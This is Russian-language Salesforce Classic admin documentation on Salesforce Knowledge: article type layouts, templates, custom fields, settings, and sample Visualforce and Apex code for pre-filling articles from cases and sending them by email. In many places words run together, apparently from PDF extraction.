«Управление Salesforce
Knowledge»

Макеты типов статей определяют поля, доступные пользователям для просмотра и
редактирования при вводе данных для статьи. Кроме того, макеты определяют разделы,
отображаемые пользователям при просмотре статей. Формат статьи (например,
отображение разделов макета в виде вложенных вкладок или одной страницы со
ссылками) определяетсяшаблономтипастатьи. Каждыйтипстатьиможетиспользовать
только один макет, однако всем четырем каналам типа статьи могут быть заданы разные
шаблоны.

Совет: Чтобыскрытьполядля типов статей, рекомендуемиспользоватьпараметры
безопасностиполя. Например, припубликациистатьивовнутреннемприложении
и на клиентском портале параметры безопасности поля позволяют скрыть
настраиваемое поле (например, «Внутренние комментарии») от пользователей
клиентского портала.

Чтобы изменить макет типа статьи, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Выберите один тип статьи из списка.

3. Нажмите кнопку «Редактировать макет» в связанном списке «Поля».

4. Ниже перечислены рекомендации по работе над макетом.

• Редактор макетов содержит две области: палитра в верхней части экрана и макет
— в нижней. Палитра содержит доступные поля и элемент «Раздел». Макет
содержит раздел «Сведения» и область для добавления разделов. По умолчанию
все настраиваемые поля отображаются в разделе «Сведения».

Прим.: Стандартные поля «Номер статьи», «Сводка», «Заголовок» и
«Имя URL-адреса» неотображаются вмакете. Стандартныеполя «Номер
статьи» и «Сводка» отображаются вразделе «Свойства», доступномтолько
длячтения, вверхуопубликованнойстатьи. Крометого, верхнийколонтитул
содержитполя «Дата первой публикации», «Дата последнего изменения»
и «Дата последней публикации».

• Чтобы добавить новый раздел, перетащите элемент «Раздел» на палитру.

• Чтобыизменитьимяраздела, щелкнитезаголовокнужногораздела. Раздел «Сведения» неможетбытьпереименован.

• Чтобыудалитьполеизраздела, перетащитееговправуючастьпалитрыилищелкните значок напротивнужного
поля.

• Чтобы удалить раздел из макета типа статьи, щелкните значок напротив имени нужного раздела.

• Чтобы отменить или повторить действие, нажмите соответствующую кнопку.

• Воспользуйтесь клавишами быстрого доступа ниже.

– Отмена = CTRL + Z

– Повтор = CTRL + Y

– Быстрое сохранение = CTRL + S

• Чтобы выбрать несколько отдельных элементов, воспользуйтесь комбинацией CTRL+щелчок. Чтобы выбрать
группу элементов, воспользуйтесь комбинацией SHIFT+щелчок.
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• Чтобы найти нужный элемент палитры, воспользуйтесь полем «Быстрый поиск». Поле «Быстрый поиск»
предназначено для макетов типов статей, содержащих большое количество элементов в палитре.

• Чтобы сохранить внесенные изменения и продолжить редактирование макета типа статьи, нажмите кнопку
«Быстрое сохранение».

• Чтобы сохранить внесенные изменения и закрыть макет типа статьи, нажмите кнопку «Сохранить». Закрытие
макета типа статьи без нажатия кнопки «Сохранить» инициирует удаление всех внесенных изменений.

СМ. ТАКЖЕ:

Определение типов статей

Добавление настраиваемых полей в типы статей

Назначение шаблонов типов статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
назначенийшаблонов типов
статей:
• «Управление Salesforce

Knowledge»

Типы статей в Salesforce Knowledge требуют наличия шаблона для каждого канала.

Шаблонтипа статьиопределяетпорядокотображенияразделов, заданныхвмакете типа
статьи. Система Salesforceпредлагаетдва стандартныхшаблонатипастатьи — «Вкладка»
и «Содержание», а Visualforce может использоваться для создания настраиваемых
шаблонов.

При использованиишаблона «Вкладка» разделы, заданные в макете, отображаются в
виде вкладок при просмотре статьи.
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Опубликованная статья, использующаяшаблон типа статьи «Вкладка»

При использованиишаблона «Содержание» разделы, заданные в макете, отображаются на одной странице в виде
гиперссылок.

Опубликованная статья, использующаяшаблон типа статьи «Содержание»

Чтобы выбрать назначение шаблона для канала, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск», затем выберите «Типы статей
баз знаний».

2. Чтобы открыть страницу сведений о типе статьи, щелкните нужную метку.

3. Нажмите кнопку «Правка» в связанном списке «Отображение каналов».

4. Выберите шаблон для каждого канала.

Шаблон «Вкладка» является стандартнымдлявнутреннегоприложения, клиентскогопорталаипартнерскогопортала.
Шаблон «Содержание» является стандартным для общедоступной базы знаний. Если организация использует
настраиваемыйшаблон для данного типа статьи, то он также отображается в раскрывающемся меню.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Изменение макетов типов статей

Определение типов статей
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Создание настраиваемыхшаблонов типов статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
шаблонов типов статей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Типы статей в Salesforce Knowledge требуют наличия шаблона для каждого канала.

Стандартные шаблоны типов статей («Вкладка» и «Содержание») определяют порядок
отображения разделов макета типа статьи в опубликованной статье. Например, при
использованиишаблона «Вкладка» разделы, заданные в макете, отображаются в виде
вкладок при просмотре статьи. При использованиишаблона «Содержание» разделы
отображаются на одной странице в виде гиперссылок. Чтобы создать настраиваемый
шаблон, рекомендуем использовать Visualforce. Настраиваемые шаблоны не связаны с
макетом типа статьи.

Чтобысоздатьнастраиваемыйшаблонтипастатьи, выполнитеуказанныенижедействия.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Чтобы открыть страницу сведений, найдите нужный тип статьи и щелкните его
заголовок. Запомните значение поля типа статьи «API-имя». Данное значение
требуется для создания страницы Visualforce.

3. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

4. Нажмите кнопку «Создать».

5. Введитетекст, которыйдолженотображатьсяв URL-адресевкачествеименистраницы,
в поле «Имя». Данное имя должно быть уникальным и может содержать только
буквы, цифрыи символыподчеркивания. Имядолжноначинаться с буквы; неможет
содержать пробелов и двух последовательных символов подчеркивания, а также не
может заканчиваться символом подчеркивания.

6. Введите текст, который должен отображаться пользователям при выборе данного
шаблона в связанном списке «Отображение каналов» на странице сведений о типе
статьи, в поле «Метка».

7. Добавьте разметку Visualforce. Стандартный контроллер, используемый настраиваемымишаблонами типов статей,
должен соответствовать значению поля типа статьи «API-имя». Например, если поле типа статьи «API-имя»
содержит значение Offer__kav, то разметка выглядит следующим образом:

<apex:page standardController="Offer__kav">

... page content here ...

</apex:page>

Прим.: Чтобы просмотреть список компонентов Visualforce (например,
knowledge:articleRendererToolbar и knowledge:articleCaseToolbar), доступных для
использования в настраиваемыхшаблонах типов статей, щелкните «Ссылка на компонент».

8. Еслитипстатьисодержитфайловоеполе, топользователимогут загружатьсодержимоеполя. Примернижеиспользует
тип статьи (Offer), имя файлового поля (my_file) и текст, отображающийся в виде ссылки (Click me).

<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>
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Прим.: Еслифайловоеполенесодержитфайла, загруженногоавтором, тоссылкаотображаетсявопубликованной
статье без функции. Чтобы скрыть ссылку при наличии пустого файлового поля, замените текст Click me
именем файла (например, {!Offer__kav.my_file__Name__s}).

9. Нажмите кнопку «Сохранить». Теперь настраиваемыйшаблон может быть назначен любому каналу типа статьи.
Дополнительную информацию см. в разделе «Назначение шаблонов типов статей» на странице 3027.

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/

Управление типами статей

Управление типами статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления типов статей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Тип статьи выбирается автором при ее создании. Типы статей (например, «Вопросы и
ответы» и «Обучающие курсы») определяют формат и структуру отображения статьи
для каждой аудитории, называемой каналом. Каждый тип статьи позволяет создавать
настраиваемые поля, настраивать макеты путем добавления или удаления разделов и
полей, а также выбирать шаблоны для каждого канала. При необходимости создайте
бизнес-правилаипроцессыутверждения, благодарякоторымпользователиорганизации
смогут отслеживать и управлять процессами создания и публикации статей.

Созданные типы статей доступны для настройки, редактирования и удаления. В меню
«Настройка» введите «Типы статей баз знаний» вполе «Быстрый поиск», затемвыберите
«Типы статей баз знаний», чтобы отобразить страницу «Типы статей», на которой
представлен список всех типов статей, определенных в вашей организации. Ниже
перечислены действия, доступные на странице «Типы статей».

• Чтобы определить тип статьи, нажмите кнопку «Создать тип статьи».

• Чтобы открыть страницу сведений, щелкните имя нужного типа статьи. Данная
страница позволяет редактировать текущие поля, создавать настраиваемые поля,
добавлять и редактировать разделы в макете типа статьи, назначать и создавать
компактные макеты, а также выбирать шаблоны для каждого канала.

• Чтобы удалить тип статьи, щелкните ссылку «Удал.».

СМ. ТАКЖЕ:

Изменение макетов типов статей

Назначение шаблонов типов статей
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Добавление настраиваемых полей в типы статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Чтобыхранить важнуюинформацию, создайтенастраиваемыеполя статей. Преждечем
начать работу, определите тип создаваемого настраиваемого поля. Стандартные поля
типа статьивключают: «Номер статьи», «Сводка», «Заголовок» и «Имя URL-адреса»,
поэтомупользователю, возможно, придется создать какминимумоднодополнительное
поле для добавления авторами текста статьи.

Прим.: Авторымогут просматриватьполе «Имя URL-адреса» во время создания
илиредактирования статьи. Поле «Имя URL-адреса» неотображается конечным
пользователям, просматривающим опубликованные статьи.

Чтобы добавить настраиваемое поле, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Выберите нужный тип статьи.

3. Нажмите кнопку «Создать» в связанном списке «Поля».

4. Выберите нужный тип поля и нажмите кнопку «Далее».

5. Введитеметкуполя. Имяполя заполняется автоматическинаоснове введеннойметки
поля. Данноеимядолжнобыть уникальнымиможет содержать толькобуквы, цифры
и символы подчеркивания. Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания. Убедитесь, что имя настраиваемого поля
отличается от всех имен стандартных полей для этого объекта.

6. Введите любые атрибутыполя (например, «Описание») инажмите кнопку «Далее».

Прим.: Настраиваемые поля не поддерживают стандартные значения.

7. Чтобы определить уровень доступности поля для конкретных профилей, настройте параметры безопасности поля
и нажмите кнопку «Далее». Параметры безопасности поля позволяют определять поля, доступные в разных каналах.

8. Чтобы отменить автоматическое добавление поля в макет типа статьи, снимите флажок «Да, добавить данное
настраиваемое поле в макет».

9. Позавершениинажмите кнопку «Сохранить». Чтобысоздать дополнительныенастраиваемыеполя, нажмите кнопку
«Сохранить и создать».

10. При необходимости измените порядок отображения настраиваемых полей в макете типа статьи.

Прим.: Создание полей может инициировать одновременное изменение большого количества записей. Для
эффективной обработки данных изменений система Salesforce может поставить запрос пользователя в очередь, а
после его выполнения отправить электронное уведомление.

Внимание: Преобразование настраиваемого поля типа статьи в поле любого другого типа инициирует потерю
данных. Рекомендуем преобразовывать настраиваемое поле типа статьи только при отсутствии данных в поле.

СМ. ТАКЖЕ:

Настройка параметров безопасности поля статьи

Изменение макетов типов статей

Назначение шаблонов типов статей
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Использование связанного списка «Поля»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Для изменения макетов
типов статей:
• «Управление Salesforce

Knowledge»

Нижеперечисленыдействия, доступныевсвязанномсписке «Поля» настраницесведений
о типе статьи.

• Измените значения стандартных полей «Номер статьи», «Сводка», «Заголовок» и
«Имя URL-адреса». Данные поля являются обязательными для всех типов статей и
не могут быть удалены.

• Чтобы создать настраиваемое поле, нажмите кнопку «Создать». Каждый тип статьи
долженсодержатькакминимумоднополе типа «Областьобогащенноготекста» (для
добавления текста статьи) и файловое поле (для вложения документов в статью).
Чтобы определить тип настраиваемых полей для добавления в тип статьи,
просмотрите настраиваемые поля для типов статей.

• Чтобыотслеживатьобновленияполейдля типастатьи, нажмитекнопку «Настроить
отслеживаниежурналов».

• Чтобы изменить порядок отображения или удалить поля и изменить разделы для
типа статьи, нажмите кнопку «Редактировать макет».

СМ. ТАКЖЕ:

Изменение макетов типов статей

Настройка параметров безопасности поля статьи
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Настройка параметров Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Salesforce
Knowledge:
• «Настройка

приложения»

Прим.: Прежде чем включить Salesforce Knowledge, рекомендуем создать как
минимум один тип статьи.

Salesforce Knowledge — это база знаний, позволяющая пользователям создавать и
управлять содержимым (которое называется «статьями»), а также быстро находить и
просматривать нужные статьи. Дополнительную информацию см. в разделе «Общие
сведения о Salesforce Knowledge».

Введитестроку «Параметры базы знаний» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры базы знаний».Параметр «Включить базу знаний»
отображается только организациям, которые не используют Salesforce Knowledge. Ниже
перечислены дополнительные параметры, которые могут быть настроены после
включения Salesforce Knowledge.

Разрешитьпользователямсоздаватьиредактироватьстатьинавкладке «Статьи»
Если данныйфлажок установлен, то пользователи могут создавать и редактировать
статьи на вкладке «Статьи».

Активировать поле «Статус проверки»
Активированное поле «Статус проверки» позволяет пользователям выбирать
значения, соответствующие статусам проверки содержимого статьи.

Разрешить пользователям добавлять внешнее мультимедийное содержимое в
HTML посредством стандартного редактора

Если данныйфлажок установлен, то пользователи могут вырезать и вставлять
HTML-элемент <iframe> с целью внедрения мультимедийного содержимого со
следующих сайтов: DailyMotion, Vimeo и YouTube.  

Показать сводки статьи в списковых представлениях статей
Данныйпараметрпозволяет определитьнеобходимость отображенияполя статьи «Сводка» на вкладке «Статьи» для
каждого канала.

Выбрать языки базы знаний
Поле «Язык базы знаний по умолчанию» содержит основной язык, используемый для создания статей. По
умолчанию используется язык организации.

Чтобы опубликовать статьи на разных языках, установите флажок «Несколько языков» и настройте параметры
перевода. Дополнительную информацию см. в разделе «Настройка многоязычной базы знаний» на странице 3047.

Разрешить пользователям создавать статью на основе обращения
Если данныйфлажок установлен, то пользователи могут создавать черновые статьи, вложенные в обращения, при
публикации статей одним из указанных ниже способов.

• Создание статей посредством простого редактора только при закрытии обращений.

• Создание статей посредством стандартного редактора при каждом создании статьи. Убедитесь в наличии
полномочий «Управление статьями», «Чтение» и «Создание».

Выберите стандартный тип статьи. Назначьте пользователю статью, созданную при закрытии обращения.

Чтобы ускорить создание статей агентами, выберите класс Apex, позволяющий заранее заполнять поля черновика.
По умолчанию поле «Заголовок» всех черновых статей содержит тему обращения.

Еслиданныйпараметрвключен, нажмитекнопку «Свойствамакета» в каждоммакете страницызакрытияобращения
и установите флажки «Разрешить отправки при закрытии обращения» и «Отправить статьи».
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Использовать профиль для созданияфинальных PDF-статей для обращений
ПоумолчаниюPDF-статья, созданнаяпрямоизобращения, содержитвсеполя статьи, доступныепользователю. Чтобы
создавать PDF-документынаосноведругогопрофиля (например, профиль, скрывающийнекоторыеполяот клиентов),
установите флажок «Использовать профиль для создания финальных PDF-статей для обращений» и выберите
профиль, определяющий доступность поля.

Включить список обращений, связанных со статьей
Агенты и менеджеры Salesforce Knowledge могут просматривать список обращений, связанных со статьей. Данный
алгоритмпозволяетпроверятьстатьюнапредметправильноговыбораипросматриватьнаиболеепопулярныестатьи
без выполнения отчета. Связанный список «Связанные обращения»:

• доступен на странице сведений или предварительного просмотра любой статьи, опубликованной как минимум
один раз.

• отображает не более 200 обращений.

• сортируетсяподате связывания статьи собращением (поубыванию). Порядок сортировкинеможетбытьизменен.

• не отображается для архивных статей и на страницах просмотра или редактирования сведений о переводе.

• не отображается для внешних пользователей (например, пользователи портала или сообществ) и в приложении
Salesforce1.

Разрешить пользователям публикацию статей посредством общедоступных URL-адресов
Статья, доступнаявобщедоступнойбазе знаний, можетбытьопубликованапосредством URL-адреса. Выберитенужные
сайтывсписке «Доступныесайты» идобавьтеихв список «Выбранныесайты». Ответыагентов, отправляемыеклиентам
службы поддержки, могут содержать URL-адрес, ссылающийся прямо на статью в общедоступной базе знаний.

Разрешить пользователям создавать статью на основе ответа
Если данныйфлажок установлен, то участники сообщества ответов или сообщества Chatter Answers могут
преобразовывать ценные ответы в статьи. Выбранный тип статьи определяет поля, которые должны отображаться в
черновой статье; поле «Заголовок» содержит вопрос, а поле «Сводка» содержит ответ во всех статьях. После
преобразованияответа в статьюисходныйответ содержит статусное сообщение, определяющееего связь с черновой
статьей. Ссылка на статью добавляется в данное сообщение после публикации статьи.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

Пример настройки Apex для отправки статей из обращений
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Пример настройки Apex для отправки статей из обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров Salesforce
Knowledge:
• «Настройка

приложения»

Для создания класса Apex:
• «Автор Apex»

Прим.: Добавление, редактирование и удаление Apex посредством
пользовательскогоинтерфейса Salesforce доступно толькоорганизациям Developer
Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственная организация Salesforce позволяет изменять Apex
только посредством вызоваMetadata API (deploy), Force.com IDE или Force.com
Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемые компанией Salesforce дляподдержкипользователейипартнеров.
Согласно Основному соглашению о подписке, данные ресурсы не относятся к
службам Salesforce.

Если организация позволяет агентам службы поддержки создавать статьи Salesforce
Knowledgeпризакрытииобращения, тоApexможетиспользоватьсядляпредварительного
заполнения полей в черновых статьях. Чтобы создать класс Apex и назначить его типу
статьи, воспользуйтесь примером ниже. Дополнительную информацию о синтаксисе
и использовании Apex см. в Руководстве разработчика Force.com Apex Code.

Чтобынастроитьпример, создайте типстатьи, полеикатегорииданных, перечисленные
ниже. Стандартное значение поля «API-имя», назначаемое каждому новому объекту,
не может быть изменено.

1. Создайте тип статьи «Вопросы и ответы».

2. Создайте настраиваемое текстовое поле «Сведения».

3. Создайте группу категорий «География» и назначьте ей категорию «США».

4. Создайте группу категорий «Темы» и назначьте ей категорию «Обслуживание».

Чтобы завершить пример, создайте и назначьте класс Apex.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка»,
выберите пункт «Классы Apex» и нажмите кнопкуСоздать.

2. Чтобы указать версии Apex и API, использованные для создания данного класса, щелкните «Параметры версии».
Если организация использует установленные управляемые пакеты из каталога AppExchange, укажите версию каждого
управляемого пакета, которая должна использоваться с данным классом. Рекомендуем использовать стандартные
значения для всех версий. Данное действие связывает класс с последней версией Apex, API и каждого управляемого
пакета. Чтобыполучитьдоступккомпонентамилифункциям, которыеотличаютсяот содержимогопоследнейверсии
пакета, укажитепредыдущуюверсиюуправляемогопакета. Чтобысохранитьопределенныйалгоритмработы, укажите
предыдущую версию Apex и API.

3. Введите сценарий ниже в текстовое поле «Класс Apex» и нажмите кнопку «Сохранить».

public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController

as an argument
public

AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController
ctl) {

SObject article = ctl.getRecord(); //this is the SObject for the new article.

//It can optionally be cast to the proper
article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord();

String sourceId = ctl.getSourceId(); //this returns the id of the case that was
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closed.
Case c = [select subject, description from Case where id=:sourceId];

article.put('title', 'From Case: '+c.subject); //this overrides the default
behavior of pre-filling the title of the article with the subject of the closed case.

article.put('Details__c',c.description);

ctl.selectDataCategory('Geography','USA'); //Only one category per category
group can be specified.

ctl.selectDataCategory('Topics','Maintenance');
}

4. Вменю «Настройка» введите «Параметры базы знаний» вполе «Быстрый поиск», затемвыберите«Параметрыбазы
знаний» ищелкните «Изменить».

5. Проверьте параметрыобращения; в нашемпримере поле «Типстатьипоумолчанию» должно содержать значение
«Вопросы и ответы».

6. ВыберитеAgentContributionArticleController вменю «Использоватьнастройку APEX» инажмитекнопку «Сохранить».

Ниже перечислены действия, выполняемые при создании статей из обращений, заданные примером выше.

• Значение поля обращения «Описание» отображается в поле статьи «Сведения».

• Заголовок статьи содержит компонент «Из обращения:» и тему обращения.

• Статья автоматически назначается категориям данных «США» и «Обслуживание».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

Отправка статей из обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для настройкифункции Email-to-Case или
On-Demand Email-to-Case:

«Изменение всех данных»

И

«Настройка приложения»

Для включенияфункции Email-to-Case или
On-Demand Email-to-Case:

«Настройка приложения»Для настройки макетов страниц:

«Редактирование HTML-шаблонов»Для создания или изменения
HTML-шаблонов эл. почты:

«Управление общедоступнымишаблонами»Для создания или изменения папок с
общедоступными шаблонами эл. почты:

«Настройка приложения»Для создания или изменения шаблонов эл.
почты Visualforce:
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Если статьи связаны с обращением, то пользователи, работающиенад обращением, могут вкладывать PDF-версии статей
в сообщения эл. почты путем выбора созданного шаблона. Такая возможность доступна только в том случае, если
настроенафункция Email-to-Case или On-Demand Email-to-Case, а в макетах страницыобращенийотображается связанный
список «Эл. почта».

Создание шаблона эл. почты, преобразующего статьи в PDF-файлы

Чтобыразрешитьпользователям, работающимнадобращениями, автоматическидобавлять PDF-версиистатейвсообщения
эл. почты, выполните указанные ниже действия.

1. Введите строку «Шаблоны эл. почты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Шаблоны
эл. почты».

2. Чтобы создать шаблон, нажмите кнопку «Создатьшаблон». Чтобы изменить текущийшаблон, щелкните ссылку
«Правка»напротивнужногошаблона. Новыйилиизмененныйшаблондолженсодержатьполеобращения «Статьи
как документы в формате PDF».

3. Например, чтобыизменитьшаблон SUPPORT: Case Response with Solution (SAMPLE) для добавления статей вместорешений,
выполните указанные ниже действия.

a. Щелкните ссылку «Правка» напротив шаблона SUPPORT: Case Response with Solution (SAMPLE).

b. Измените значение поля «Имя шаблона эл. почты» на SUPPORT: Case Response with Article (SAMPLE).

c. При необходимости измените значение поля «Уникальное имя шаблона».

d. Выберите значение «Поля обращения» в раскрывающемся меню «Выбрать тип поля».

e. Выберите значение «Статьи как документы вформате PDF» в раскрывающемся меню «Выбрать поле».

f. Скопируйте значение поля «Копировать значение поля слияния» и вставьте его в текст сообщения эл. почты.

4. Нажмите кнопку «Сохранить».

Теперь связанныйсписок «Сообщенияэл. почты» на страницесведенийобобращениисодержиткнопку «Отправить
сообщение эл. почты» и поддерживает выбор нового шаблона. Статьи, связанные с обращением, автоматически
преобразуются в PDF-вложения, которые при необходимости могут быть просмотрены или удалены до отправки
сообщения эл. почты.

Прим.: Язык статьи должен соответствовать языку базы знаний. Например, если в вашей базе знаний основной
язык — английский, но вам требуется преобразовать статью на японском языке в формат PDF, измените язык базы
знанийна японский (вразделе «Настройка» введите «База знаний» вполе «Быстрый поиск», выберите «Параметры
базы знаний», после чего щелкните «Редактировать») перед преобразованием статьи.

Примечания по доступности полей в PDF-версиях статей

Ниже перечислены рекомендации по использованиюшаблонов эл. почты, поддерживающихфункцию «Статьи как
документы вформате PDF».

• Поля, которые отображаются в PDF-версиях статьи, определяются вашим профилем, если пункт «Использовать
профиль для создания PDF-версий статьи для клиентов по обращениям»  (в разделе «Настройки» введите
«Параметры базы знаний» в поле «Быстрый поиск», затем выберите «Параметры базы знаний») не отмечен
флажком. Если исходная статья содержит все поля, то автоматически создаваемая PDF-версия также содержит все
поля. Поле статьи, заблокированное параметрами безопасности поля, и его данные не отображаются в PDF-версии
статьи.
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• Если флажок «Использовать профиль для создания финальных PDF-статей для обращений» установлен, а
профиль выбран в меню «Профиль» (в меню «Настройка» введите «Параметры базы знаний» в поле «Быстрый
поиск», выберите «Параметры базы знаний»), то выбранный профиль определяет поля, отображаемые в
автоматическисоздаваемых PDF-версиях. Например, пользователь, отправляющийклиентам PDF-версиистатей, может
выбрать профиль «Пользователь клиентского портала», чтобы гарантировать отсутствие полей, предназначенных
для внутреннего пользования, в PDF-версиях статей.

• Независимоот заданныхпараметрови выбранногопрофиля, поля, доступныевразделе статьи «Свойства» (например,
«Дата первой публикации», «Дата последнего изменения», «Дата последней публикации» и «Сводка») не
добавляются в PDF-версию.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Настройка Salesforce Knowledge

Включение функции отправки содержимого статьи по эл. почте (бета-версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
Salesforce Knowledge, а
также создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

При использовании Knowledge One агенты могут отправлять содержимое статьи по эл.
почте путем его добавления в текст сообщения эл. почты.

Прим.: Бета-версияфункцииотправки содержимого статьипо эл. почте доступна
только для статей, опубликованных во внешних каналах (общедоступные базы
знаний, порталы или сообщества), и не поддерживается обозревателем Internet
Explorer 7. При использовании новых организаций полномочие пользователя
выключено во всех стандартных профилях, но включено в профиле «Системный
администратор». При использовании текущих организаций обратитесь к
представителю Salesforce для включения полномочия в стандартном профиле
«Системный администратор».

Агенты могут отправлять содержимое статьи по эл. почте вместо отправки URL-адреса.
Данный алгоритм предоставляет клиентам доступ к нужной информации без перехода
на другой веб-сайт и позволяет агентам отправлять неопубликованные статьи без
перезаписи или копирования и вставки внутренней статьи. Администраторы могут
назначатьполномочие только тем агентам, которыехорошопонимают, чтоможетбыть
приемлемо для внешней аудитории.

Чтобывключитьинастроитьдоступныеполястатейдлякаждоготипастатьи, выполните
указанные ниже действия.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение:
макеты страниц», а затемщелкните ссылку «Представлениеленты» в редакторе
макетов страниц.

• Нажмите кнопку напротив нужного макета в разделе «Макеты страниц для
пользователей ленты обращений» и выберите «Редактировать представление
ленты». (Данный раздел отображается только организациям, созданным до выпуска Spring'14.)
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Чтобы добавить, изменить или удалить действия при использовании расширенного редактора макетов страниц для
настройки публикатора в макете, выберите «Редактировать подробное представление».

3. Установите флажок «Включить встроенное добавление статей» в разделе «Параметры инструмента "Статьи"».

4. Нажмите кнопку «Сохранить».

5. В разделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск», затем выберите «Типы статей
баз знаний».

6. Щелкните метку или имя нужного типа статьи.

7. Нажмите кнопку «Создать» или «Правка» в разделе «Соотнесения информационных каналов».

8. Заполните поля «Метка» и «Имя».

9. Выберите и добавьте канал «Эл. почта» в список «Выбранные каналы».

10. Выберите и добавьте нужные поля.

Прим.: Интеллектуальные ссылки не могут быть добавлены в сообщение эл. почты. Ниже перечислены
неподдерживаемые поля.

• ArticleType

• isDeleted

• Язык

• MultiPicklist

• Раскрывающийся список

• Статус публикации

• Источник

• Статус проверки

11. Нажмите кнопку «Сохранить».

Пример: Припринятиирешенийпообращениямклиентов агенты, имеющиесоответствующееполномочие, могут
вставлять содержимое статьи в текст сообщения эл. почты. Любая область, позволяющая агентам добавлять статьи
в обращения (например, боковая панель Knowledge One на консоли Salesforce, список «Статьи» в ленте обращения,
виджет «Статьи» или предложенные статьи в поиске Knowledge One), позволяет отправлять любую статью данного
типа по эл. почте путем выбора действия «Отправить по эл. почте статью с HTML» из раскрывающегося меню
действий. Содержимое статьи вставляется вверху потока сообщений эл. почты или в месте отображения курсора.
После отправки статьи по эл. почте слева от ее заголовка появляется значок конверта. Если статья содержитфайлы,
размер которых превышает 10 Мб, то агентам предлагается выбрать файлы для добавления и повторить отправку
сообщения эл. почты.

Прим.: Еслимакетлентыобращениядлятипастатьинеподдерживаетобогащенныйтекст, тосистемапозволяет
дополнять сообщение эл. почты только текстом статьи и отображает действие «Отправить по эл. почте
только текст статьи».

Поиск по синонимам
